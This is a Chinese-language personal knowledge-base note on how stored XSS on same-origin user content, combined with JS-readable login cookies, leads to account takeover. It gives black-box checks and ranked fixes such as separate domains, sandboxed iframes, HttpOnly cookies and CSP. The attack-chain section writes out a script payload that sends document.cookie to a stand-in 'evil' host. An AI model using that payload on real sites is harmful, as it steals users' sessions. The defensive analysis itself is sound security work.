1. 一句话

只要"用户能粘贴 HTML/JS"和"登录凭证能被 JS 读到"这两件事同时成立,就等于把所有人的账号送给任何会发页面的人。

这不是某个漏洞,是一种架构级反模式。凡是做「粘贴代码生成网页」「低代码画布」「Markdown 预览」「HTML 托管」的产品,都要先过这一关。


2. 触发条件(三者同时成立)

条件说明
① 用户内容执行脚本用户提交的 HTML 里的 <script> 原样返回给浏览器
② 内容与主应用同源用户页面跑在 www.example.com/view/<id>/,而不是独立域名
③ 凭证是 JS 可读的 cookie没有 HttpOnly,或 token 存在 localStorage

三个都中 → 存储型 XSS 直接升级为账号接管(ATO)。


3. 典型链路

攻击者发布含 <script>fetch('//evil/?c='+document.cookie)</script> 的项目
        ↓
受害者(已登录)打开 https://www.example.com/view/<攻击者项目ID>/
        ↓
脚本在 www.example.com 源上执行 → 读到 token cookie
        ↓
外传到攻击者服务器 → 攻击者重放 Authorization: Bearer <token>
        ↓
冒充受害者调用所有接口

注意:Set-Cookie: token=...; domain=.example.com 会让所有子域共享这个 cookie。
所以"用户内容放在子域 user1.example.com"并不解决问题——子域同样能读到 .example.com 的 cookie。


4. 怎么快速判断(黑盒)

# ① 用户内容跑在哪个源上?
curl -s https://目标/view/<id>/ | grep -o '<script[^>]*>'
# 有 <script> 且不是平台自己注入的 → 条件①成立

# ② cookie 作用域与属性
curl -sD - -o /dev/null -X POST https://目标/api/user/logout | grep -i set-cookie
# 看 domain= 和有没有 HttpOnly

# ③ 前端怎么取 token
grep -oE 'document\.cookie[^;]{0,120}' 前端bundle.js
# 出现 document.cookie 读 token → 条件③成立(非 HttpOnly)

补一刀:SameSite 缺失只影响跨站,同源 XSS 下 SameSite 完全不起作用,别指望它。


5. 根治方案(按有效性排序)

方案 A:独立域名(唯一彻底的做法)

用户内容放到完全不同的注册域:

主站:      www.example.com
用户内容:  <id>.usercontent-example.net
  • 不同 eTLD+1 → 浏览器天然隔离,cookie 不共享
  • 需要单独的证书(*.usercontent-example.net)

方案 B:sandbox 不带 allow-same-origin

<iframe src="/view/<id>/" sandbox="allow-scripts"></iframe>
  • 关键:不要加 allow-same-origin。加了就等于没加(脚本仍能访问原站 cookie/存储)
  • 代价:用户页面不能用 cookie、localStorage、部分 API
  • 注意:如果用户能直接访问 /view/<id>/(不经过 iframe),sandbox 就失效了 → 必须服务端保证该路径只能被 iframe 加载

方案 C:凭证改为 JS 读不到

Set-Cookie: token=<v>; HttpOnly; Secure; SameSite=Lax; Path=/
  • 前端不再 document.cookie 取 token,改由浏览器自动携带
  • 这只掐断了窃取环节,XSS 本身还在(仍能以受害者身份发请求),属于缓解不是根治

方案 D:CSP 兜底

Content-Security-Policy: script-src 'none'

给用户内容页禁用脚本。如果产品必须允许脚本,CSP 就只能做辅助。

优先级:A > B > C > D。B/C/D 都是缓解,A 才是根治。

6. 相关坑

  • "源码保护"是假防护:禁 F12 / 右键 / Ctrl+U 纯前端,curl 直接绕过。反而给用户"内容安全"的错觉,容易诱导他们往里放密钥。
  • 子域名隔离是错觉:只要 cookie domain=.example.com,子域之间就是同一个信任域。真正的隔离靠不同注册域。
  • 别把 token 同时放 localStorage 和 cookie:两处都是 JS 可读,等于把攻击面乘二。
  • frame-ancestors 防的是"被套壳",不防 XSS:只有 script-src 才防 XSS。

7. 记忆锚点

用户能写脚本 + 脚本和登录态同源 = 账号接管。
判断顺序:内容在哪个源 → cookie 作用域和 HttpOnly → 前端怎么取 token。

8. 关联


本文归档于个人知识库 · 领域:CS & AI · 模块:04 Project_CS_AI/Web